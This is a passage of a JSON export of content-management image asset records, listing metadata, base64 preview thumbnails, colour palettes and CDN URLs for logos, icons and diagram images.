xggnTdZ0Zhsl0w2AIaTulIA2ztXAQ5tpO4IdnXukC9yOZ3MZw/5fR3/vnl/p7ITR0DRbHRph/fIzdHbsNE3dGwTcxDv6pCfD7bCbhr+kp8E/bcxJ8vik22NMCVys/JMHS3T3yqefe5NY6mw+t93XciPR1xkPdrWu3G2uW2mudQsu5AtryY4HVctZB22oKrLYfCqzW7x1WW7XDavvOYbVXOazW04fpFfcnrO/I65g/9vK1YHVWNjc7PJgZmp50L/qnvcHJ0Uu+duc5X/2rgUD9Syp/4UUtcP4FxNc8j/jqPShw+lnEf/MM4k8+jXj3U4h3paOZ0ie1YNluIXwsvWvek/HWfw8NHqbR18VJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345c6c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813d04","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f57e08","foreground":"#fff","population":5.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb497","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cc4dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e724d","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f57e08","foreground":"#fff","population":5.24,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"laptop-kafka-console-g2-momentum-leader-fall-2023.png","path":"images/sczeoy4w/production/b8df8837b08d8039280542db8f6c1fce5a790bbc-1500x1007.png","sha1hash":"b8df8837b08d8039280542db8f6c1fce5a790bbc","size":443693,"title":null,"uploadId":"LQbnCayMKIjYHzy9lFaH1YuykE5NNjhm","url":"https://cdn.sanity.io/images/sczeoy4w/production/b8df8837b08d8039280542db8f6c1fce5a790bbc-1500x1007.png"} {"_createdAt":"2023-09-26T15:38:52Z","_id":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_rev":"kaQ4ZWos4gq6sBfd7z1Vkt","_type":"sanity.imageAsset","_updatedAt":"2023-09-26T15:38:52Z","assetId":"1e1ef44fb73b5346c388c66f74fa221fe483b422","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMN=wk]+$h=IAY1LS3=b,=sn1Lsn,=j@oK1L}CS3J9bG,=WWAYNvsn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQ4jZ2VwUuUURTFz6ipQYKlWzGyfbSKyMKCalWE1EKhtO9cpRktpVW73PYnVJuCbNPCCGoTRmpt+wtq07p/oXfivndn+tQpIuFyv+e8+X3nvnvuG6gCVKGRKvR4jnWO//oT0RAxIWIqco+Y/793X+dF7c/3RVU2OuC6iKeR+1M3YMBSHWi7YZoHkIjeRDRFbEUe9A2pCzDDqhqsGesrgJbL2j/oTYaWDDuRB/Nmj+k9JRbgARHjIk4nwzkRZ0WcFDHaLtkVtkTsRM4KM3AR0J0a9HZ+Hk7ErIh1EZsiPop4JuKSs7JChcKc2VHY0KkM8ab1ixjwM1KFIRFXA/hdxE8RX0WYiL4OMDGA7ZIXinoRY6m8/XIixmQ4mCyX+CgRX0T8kOGbDE1ZDbhP4SL6ZDiWiGURGxH3ZLggw30Z3sjwSobXIj6LWNhXcj5DV3g3lzwhw6oMb5PhgwybMryXYSOeX8gwk4gZEWsiLroFf3fZSy7AQzKMpwJ7J8O6DPMyzIl4LuJTzoZrMozm7hLHIxfbBKjd5aPJ5RdlL2WY1gJGRBwRcV7EfOTDagFaAtJaeHKkbhs/wwI8IeKhiCcZZhjJ1rmZOzwgYijn2WjcjbBTxO6mEEveVRGTIs5k2GIezUa2kQMehD997VGbZZ+ktjVc2bbao3crf6FzSXQmp1twD9BnOUCucEWGYVker8GwUIn6c33NHG58v/46CucC6E1YiRcsxVG4+pLrQbTCHc24pSb8Ps3XVypn9jhDy1lup2L0P0ZMlu/diqtvSpX7sNTvlphMxFzyEeqm6F8VJp+Kcpt4E7zjfgQl/y3qe8t388/HL0jQYq5VA36GAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#84644c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c04","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6208","foreground":"#fff","population":9.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962b02","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc642a","foreground":"#fff","population":1.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c4e","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6208","foreground":"#fff","population":9.55,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-line-chart-up.svg","path":"images/sczeoy4w/production/1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24.svg","sha1hash":"1e1ef44fb73b5346c388c66f74fa221fe483b422","size":465,"uploadId":"5C64yM1Tf8h3DquZySmVHjurPJHFEYOT","url":"https://cdn.sanity.io/images/sczeoy4w/production/1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24.svg"} {"_createdAt":"2023-08-25T12:43:07Z","_id":"image-0679c5e6a408e990301e814e8fecb6d9849f64f7-24x24-svg","_rev":"n4o7HM4ybKf4O57IbTUe5W","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T12:43:07Z","assetId":"0679c5e6a408e990301e814e8fecb6d9849f64f7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEQElEQVQ4jU1UXWwUVRQ+08UYGn0gNP7RRH0RDbFGgxjEVLcPQMKDWKGSqLF058xut6JEBaLShtAtSiAtBlC6c+60jaUt3bYEBYKmSTWN2nbhwSeeTNT44pt05tzZaYWac/dq3GQ2TXb363e+P/CIwTsXA/oMqBg8paGjfxm8onbQj2rQj1L2qUFiJzOQQFsQg6u4+vgR4Om/IKMYzEvA3P4YXKrAns/ugOtzCknXeaSfRuKXkbgVids84hYk3oKk6z3iu/OkIaeWwS1G8M74Cri+rgIKMwHrEFBfr0biJ5E4j8QDSDyNxD8h8RwSf4fE40jcicQvodJrMgOx0zq8Ah5pg+NRDObMKjMB05uR+AQS/2BBppC4H4nPIvF5JP4eia8j8TAq3ewqvXZvvwaXYsj4GvK0DEaz6pmGmYDdQOLLSPwuKm5E4seR+DFUvBEVv47Egf3OGBJvd4lrjZbEIDIYA0Qze6Ywu+wRv+Ypvt8NeJVbjFJukVe1KU65xPci8QtI/IUF7TX/0I8dDELBAeOmNUA0mxdmArZbrYBXjGrR5w1I/AySXtPqVwCJRecdSHzFatyMvl7tFkVHDWJ7jXVz2mrWeHgivuvmr7ednOKHkfgAEh9D0g0zv/wNXee1gD5q5ZlD4kNIXGdiR+yAS1HKRkPcPLdvSDeU5pbqL5aX1h8uxVs8xUpkyCr94qWfl2pu3bnttA8YifZbwBNI0UNI0f8AFbfZD898OBY/O7GwtHOqvPR+79VKazbQw0h8bf+w3jFZTtZfvJ480XMpfgSJ99nf9CJF66qAkQGUk1tsJL48NKa3luaT7GQ5+fz0t5X3coGWuFzpLMVvTi4k7mQ5yZ68GosxR6zmR5D4vv8Yypt1roTEM28PaRyareyaKicHTl2r5HKBHkXibzon4r2TC0lmfD5p+7gUv4rEIx7xrMgl7ktskBggoxKxu942oOwpHvzogt49NJs8f+yrOJ1VJhqDB0f1ttEfk4ZPvo63tg/oo/Jdl3jEJf0cBnGqpW8RXKXBFF26aeokDSC+4Sku5gf1Kx2DepNHvAuJ38gFelN+UDdmA93lEpff6uff95zhszv7og0bu245ADdh6/EQzGJIwqWbUickvmBDKzk7icQHkfgDJBZWI1I9AWs+Ff257Xg009QTZtKF8MGmnsWapoIFbA+WQYqOSq9FxdtRcZ9XzeWcjdO/AzErZwozC/ZHuhBOpwtha7oQPtDULYCyZ34EmZEVyAaxjEWt7W+zDa2w7LNutopmcqZlNp0uhL+lC+FwuhBuTneHjhnH/Fh1grwqIGAxdpDMlNXZ0K6TaJguB3FKNJMzLTMB+zRdCBvSRxcds7RZFYPna/CUBQxCMN00UTCBNY9EQ9wUA0QzOdMwE7Du8J6n+laqI2uWm2KzZ/mgWnJZDptRRxpg/zbREDfFANFMzhRmAtZY0PAP21J1qnRGpd0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324a42","foreground":"#fff","population":1.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c7c","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7793e8","foreground":"#fff","population":5.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c8d7","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7793e8","foreground":"#fff","population":5.9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5772a1","foreground":"#fff","population":2.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4cb4e4","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-google-bigquery.svg","path":"images/sczeoy4w/production/0679c5e6a408e990301e814e8fecb6d9849f64f7-24x24.svg","sha1hash":"0679c5e6a408e990301e814e8fecb6d9849f64f7","size":807,"uploadId":"eeIpl7uHEXxe2gQzZcKMfThHQITAv7CE","url":"https://cdn.sanity.io/images/sczeoy4w/production/0679c5e6a408e990301e814e8fecb6d9849f64f7-24x24.svg"} {"_createdAt":"2023-08-25T12:45:29Z","_id":"image-3b5daef8652347a451af423f6c4b1caddad79d53-24x24-svg","_rev":"n4o7HM4ybKf4O57IbTUl4D","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T12:45:29Z","assetId":"3b5daef8652347a451af423f6c4b1caddad79d53","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6GcyYox00%000WCoeWCkBaz00ja~oR+?aafkAazj@az00oL~nRl?a","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADBElEQVQ4jaWVTU8TQRjHZ4Ejn4AEDnwPEqPRmOCBYGtCNBhoFSpi48WToJR3wstioBbqC1APpt3dVihdjCZe1HR3C6VCDCgvJj2oNxN2dnZm2YxudxFQL5bDL888M//880zm2WfB3RgC3jAE/ojGsKLOxCTMCApheNmO/+LgLJrGTJeAmPoxyJzpU4HvKQLgiCFgRR3EJAwEhQBexoBXHOQjezIGnJNH0xh0CQjUjUJwqkcF1x4dGpb7I1oFK+pVMQlXxhVSKSikEA/WFryMC3AyLuTRNK7sElBV/RisON2nlrc6FZZ4w7DGH9F6WVEPxSQ8ycs4yEk4yMmH8H8gKCQYTePJLgGFLrKw99yAWtM+h0oswzJvGHr8EW2DFXXESXgvkSFq/CgKUQWHZJaor9aI+vIDUTkZ7wUEhC49gBsXhlXPneeo7MDQ549oeVbUaSJD6JuPBn27eYiVL6yQwtm7TYNufTPpen6fJlcI7Y4jejkI8+5x6OtO6L8NW/wRbdcyXFghRnrLMLNf9s1Vh/Rnw1xcJeaLZWIqO4b59Ydpbn83TXGVGL0JRJum4O6VIGwZSup/V8jLhKZWCRVzhC7l7LiYtauLZwh9vU6ovG3Q95+Mwt7gAqLXH8P81Sno65+3DUu9Yej2R7QlVtTXYhLO8jLOcRLOcVaUcY53EBSSS2RIbn7ZxtIOL6K1GzPaUvM0dAfiqNQyZLxhWO2PaLWsqLtjEnbFM8QVV44jOPAyLmCtLe1ISne3zWi1TdOwupNDzIkMo2nsCgjI7RqHtWcH1Oqbs7Zh0VeOSjgbENCaaxwunR9U3bef2Vc+0aME4og2TMB83Sj0dXCo+LbZcdqmJ4Fo40O42zABWwYW9OIa+/NBY2cJ7Z9H1BOG+cYQ9A0e6cOiPj1exntDSYRan8CNpino6UnYVy56OFjakZQeapvRepunYc19wR4ORY8vSzsq6lXts1qFJwzLO7kTDFheJgXtmKiDW3Ma8IQh6IgdN/zvX4ClHU3pTPusxliG935V+BOnXlx6iFVt4gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":15.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040652","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c8f6","foreground":"#000","population":15.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbcbdc","foreground":"#000","population":1.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1c8f6","foreground":"#000","population":15.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1a487e","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#508fda","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-google-cloud-storage.svg","path":"images/sczeoy4w/production/3b5daef8652347a451af423f6c4b1caddad79d53-24x24.svg","sha1hash":"3b5daef8652347a451af423f6c4b1caddad79d53","size":1010,"uploadId":"VGcZ1CWppKfJLKVUiqnG6Q33IW2PcWId","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b5daef8652347a451af423f6c4b1caddad79d53-24x24.svg"} {"_createdAt":"2023-08-25T12:46:09Z","_id":"image-9f6eb1efdd3d08c187c9bb160fb55f6fea468876-24x24-svg","_rev":"pv5QzE4Lm79BNhDrjicE7b","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T12:46:09Z","assetId":"9f6eb1efdd3d08c187c9bb160fb55f6fea468876","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFD-LEay4TjanfMwfj9HjZ%H4TfjRNj?pM_1azx[azXA8wjtITa#%g","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE8ElEQVQ4jW2US2xTRxSGT2yHuJQIVYEuEC2viq5g024KuyJBKS8hGh5NWiDccaCB0oJUQosQqKrAAgoISIg9dhweCcSea1OgBMozgJM71wRFFLEoiyIWVdXSB75nfM9NiKsx6QYx0ieN5vz/r3MWcwBeOF33roGQQ5CxuyCdc0BIKktZnl+TtKis3UYIP+6HTLYI3z7qf9EOsDquoDrpQP1RF4yogsbTBEK6kLEdEDaVC0lvCUkLhaQF+m5KKu+0EZKWC9s6CFgUweAK1h/OQ30EAVbGFdS1IhgJB9a1IYTPE3RkXfjRRh04VkhqEJKuC0nXhKTPTEljU30K2rMu7P7BhVBcQSiKEGpBCDUjwOKOQVjTqsDQhbiCT5oRng0MQcd1TwdOEjYdMG36W6PvwqaJbd0eDAwWobYZgXEFLKLAaFZQ+5UHUBdTsFj8C6GWgt+IqtEGx6qGBAaLxSKkczS2I0tftHXTPU1HD23Ub7rWcEwFGccqFsXRRlT5Nzb983zkUmdR9DGuJjCuljGOIcbxndURDD78Y9C/0yzM2HxCtW0+qRI7zcJ7v/w56F8VxSCL4bvD2mWMqzfXRJVvbQwB1iVcYBxHMI6zGMdOxrGbcWwwOI6pOezA/L35SfP35BtL7HUm1hxxwOA4lsVwPeN4c9gzi0VxxNo2F6A+XtCB5YzjDMaxhXHMMI4rDY6v9T9yA+GzatrW02qzJny2MO3ur65f17RmWHu05I1ieai1ADoM6rkqq+eqKsTVzFAMZ7MYTv66U1WYNk1OWbTpdC+d1yQt+lK/bUuqilAMJ2ttKKZmMq6qWESVsTgCfLA7DwAtsKalANUH0b86ggGY8ABuPPBGpG2aZ0q6ZNqU1whJF4WkeZfueRUwfRDqIhhYcgD9K5sKAHAV5n6fB3jwO8EuMQRpOVDW1T8QSFreiCUHcGRdBCe2XHHXJS2yhaRnGn0/8pO7obYJ3160z6k8eZsqLt4bCIg7A2Wb0kNw/yEBmDmCzl7Pl7K8cUJ6s47fourNJ1TNwr3Ohs+PqW+O36JjQtJ9YdPPx29RYkNCbV+wx9mysU0ZiW5arj0p6Y1L2Z7vjE0AIvcUkpY3Skj6yLTJPNVDuV1nCleXH8Kji/c7NU2X3bkpSWtTkupbrrhzlux3li4/hE3fZQrd7Vm6qz1C0hJhe6M6b+YBTBshJb0xQlKjadPjlEVe/DrdbDylVs0JO+PC5wqvZHJuZTrnVh7sKgQ/DDuvb+ss1MRvULfWmjY9FpK2COmNMXsRwOzRG8WrFJJWmJLOCUnZlKQdp3poShaLYCSUv6bZqaxtdipDrcqvf0mnpClC0g7TpqwoeTw9eqWwCwDiLoFpkc+U9IYpaa4ePSVperqPgrVHMcBiODUUw49LxHFqbQQD4g4FhU3TtVY894wX0vOZEgF0avIuwZket8y03GBKuiNjN9xAOJmHNREcxThWM44XSsSw2uD46tb2p9B60w1orbDcYKbXLevIEaRKHfYV4PLJPjAtF0ypdyEBzHkC9TFH77qRjOMixjE1zELGceS6Vgfg/Scl7f9c6PsNztjO8w5vnStCxtKju6Xluj2l4NMjeWBRx8c4jmccZw8z3og6vhWH8iWN1grLhbRFcPti8XmHLzsNzQRGPA+1J59AiCOEuA52fEYUoTHzF6xtzcPSffRS839mBo0kfgEcWAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c5c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143c74","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e7aa3","foreground":"#fff","population":1.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb8cc","foreground":"#000","population":0.69,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ab5e4","foreground":"#000","population":0.87,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7aa3","foreground":"#fff","population":1.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c95c5","foreground":"#fff","population":1.04,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-google-pubsub.svg","path":"images/sczeoy4w/production/9f6eb1efdd3d08c187c9bb160fb55f6fea468876-24x24.svg","sha1hash":"9f6eb1efdd3d08c187c9bb160fb55f6fea468876","size":1501,"uploadId":"Hbup5YunStrneH4nQDAqKmSvnI9q7nHa","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f6eb1efdd3d08c187c9bb160fb55f6fea468876-24x24.svg"} {"_createdAt":"2023-09-26T15:37:38Z","_id":"image-cd5e33e04a3ae12c2031f1d0d6a85adb15efd1d4-24x24-svg","_rev":"rpwBSMa1i11HwZnbWsMPXJ","_type":"sanity.imageAsset","_updatedAt":"2023-09-26T15:37:38Z","assetId":"cd5e33e04a3ae12c2031f1d0d6a85adb15efd1d4","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ePN$J4}C1LoKJ9E$,=1LAFWp1eNv,=,=WW}CNvxEJ9xE1ew_NvNvsn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+klEQVQ4jXWUWYtcVRSFv+qiyQAJrcYgGgOtxgeJRoVA1IeAA0gTyOBDOokmXbV2dSeiOOEA4oNG3zQOIMYgjiiKiGOUVon/7Kywzz1VXYV6YHPvPffudfdee60DgIfgtXYN8Kje9yzmLPoeMlffjaAIPGgx5N/LK+ClBnamJvUd7CziAYuTFkOLoxZ3WWzzGj0fBgvK41BW/wtQLaJWtGgRFl9Y/GlxxeKyxXtFHLK4tnUw6WZmlawqoJyrH+2wkMUvFj9avGnxosUHFusWn1o8ZLHZpzeomlmVi7MVeK4M2d+SfrU47SE3W1xjsdfiNYu/LF51cKNPbFQ5s3KzVjlgc+PqJ4t3LPb4XKt+hX5WVsR3Fhct9ln06oA0i9f9JXkcstVi2eJnizcc7Kq8rrUBiAON10+K2F9VcPT/AJfrdd7iEYvvLT63uN9ikwf0PGShiFMWv7Xqb5+W2cyaTHhQq7jV4i2Lvy3edjfVlM8TFl9Z/G4xcLBQJda0OQv42JSYgy0ODjp438G6o077B4s/2qBeLlmd6JezG4COCS3toRM0fgFKsN3BfQ6et/i4iC8tLtSpiz1lyHwZ52XkUBtg5bMCjeg52Opgt4N7W5VHHKw4GFkct7i7qA5ubALK05PcTe7ezY83rnew5OB1i0sWnzU9juPDVmFacgLoBAyuc/CgxRGL27LcbRaHG+kp3G+y1aa3i+3+QpPUTosFi5uc1Iwq2LFWQLrpQP7tTot3k/giXrE4aHFPtjgVe4u4wWK7xcNFvOTglIMzDr521Ok/VcQumjRymh/VxDyq0o5prUPgRzvhl9wTW1o33zq44uAfB5cdPOvgFq/Sz49OtFbPVy7HUliZiuXOniXPx2DRwTNNVuvtvoL5fCfspcbVauUlAVUP105n4yFkXIKa2IEea7FY98ayKWJ36Xi7o6jar0t+DsqTnfhLHlVpz2y9M0JWmibImEv91px9nZfTq3nE57WrKuPklJvSFdn68Q1XeLXFWEL5bgBXAe3BRV9TLs9TAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#951c04","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1620a","foreground":"#fff","population":4.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7f3719","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7c54","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a6a5c","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1620a","foreground":"#fff","population":4.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-user-check.svg","path":"images/sczeoy4w/production/cd5e33e04a3ae12c2031f1d0d6a85adb15efd1d4-24x24.svg","sha1hash":"cd5e33e04a3ae12c2031f1d0d6a85adb15efd1d4","size":323,"uploadId":"IxjtxZ8iA5dNdVNY47CEQgdQ4PtKzrrc","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd5e33e04a3ae12c2031f1d0d6a85adb15efd1d4-24x24.svg"} {"_createdAt":"2023-06-23T12:55:31Z","_id":"image-dd95bbc09a3bdc763ce8fbe2c89474a36cff7459-2000x1132-jpg","_rev":"GEwcjZ4hpY0RnpIR80KZ28","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:44Z","altText":null,"assetId":"dd95bbc09a3bdc763ce8fbe2c89474a36cff7459","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7667844522968197,"height":1132,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAEDBAUI/8QAIBAAAgICAgIDAAAAAAAAAAAAAQMCBAAFESESMSJhgv/EABQBAQAAAAAAAAAAAAAAAAAAAAH/xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oADAMBAAIRAxEAPwDRA1VG/tjtE23FkT4+MWfDkfWSqOqNSdl77E3vceyTwAB6AGGqpV6mtrqrqEFx9AE42pzG2GrZMyhwesEsF2FgpYMAfX6wxdeuMKi4xHQGGIOH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b2e27","foreground":"#fff","population":1.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80110f","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b2e27","foreground":"#fff","population":1.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9bec1","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e08851","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7a51","foreground":"#fff","population":0.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d74954","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_entire_flow.jpg","path":"images/sczeoy4w/production/dd95bbc09a3bdc763ce8fbe2c89474a36cff7459-2000x1132.jpg","sha1hash":"dd95bbc09a3bdc763ce8fbe2c89474a36cff7459","size":80184,"title":null,"uploadId":"F01opquJvYfSfJGXipkFLAT8epvcyz9s","url":"https://cdn.sanity.io/images/sczeoy4w/production/dd95bbc09a3bdc763ce8fbe2c89474a36cff7459-2000x1132.jpg"} {"_createdAt":"2023-08-31T18:33:38Z","_id":"image-967a7ceda4cd01882eb2967aa950b410d758fb89-1200x628-png","_rev":"yNl1WaY01sP4DkcOIHmY2o","_type":"sanity.imageAsset","_updatedAt":"2023-08-31T18:33:38Z","assetId":"967a7ceda4cd01882eb2967aa950b410d758fb89","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNvQ.#VX-nd@~qpHZ#j0idZhZigNb^g1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACI0lEQVQokU3RSU9TARRA4Vdx1hiM0IgDUYZiFUFtC0qpU9zo0gFRESWocUSN4AhYaIFSKiBIZONC/+c7x5TnwsXdfjn33oBbW+TxQRlpk9cJed0sb1tkNCFjLfI5qeNJmUjKVLsUTshCStavyK9rstYjlaQstsvKGQP6d8hIUr5kZaJXxrtlPCNfuySfkbmcli9J+YJ8uyjLl2T9qvzpkz835HtaZhuldFTKLQbc3fUP7JXJnORzMn1eCr1S6JGZbAR+uyyVC//Aa/L7VlQ43ypTcSk2yFRdtXCnvGiVj93yuVsms1K4KIWcFHtlpkdLOSnnZP6czKelkpYfOVk9J+U2KTVJ6YgU9htwe7s8a5YPGfmYkk8pmazCGcl3ReBstbRLZtMyfUzyjTKXkMVOWT4l309HN5xvNuBmjQzskeG4PIrL43p5GpfncXlZL28aZPSgvK9Og3yol4n9MtciS52y1CHLVbhTFhIG4fXADbRvs/TXyJ1Nci8m92PyICbDNfJqt4ztk7G98r5Wvh6QheNRWeXYBsRS+0ZlEN7cbHi/1nCoTh7WysA2uRvIQCCDQQS+2yfTzVJokvxhKR6VxQ5ZSclCm5QTEb7WbRD2bTUcihs+OWRYXXlwZ1T4PzhaJ6XjUumQ2VYpJWT5jPzIRLdbOrmB8TNrEN6IWUXp3yZ3tkQr/184FJOR3VJslcpJKTZFD1lJy9pZWU3JakZ+9sh61r990gtLDdKKowAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935605","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatc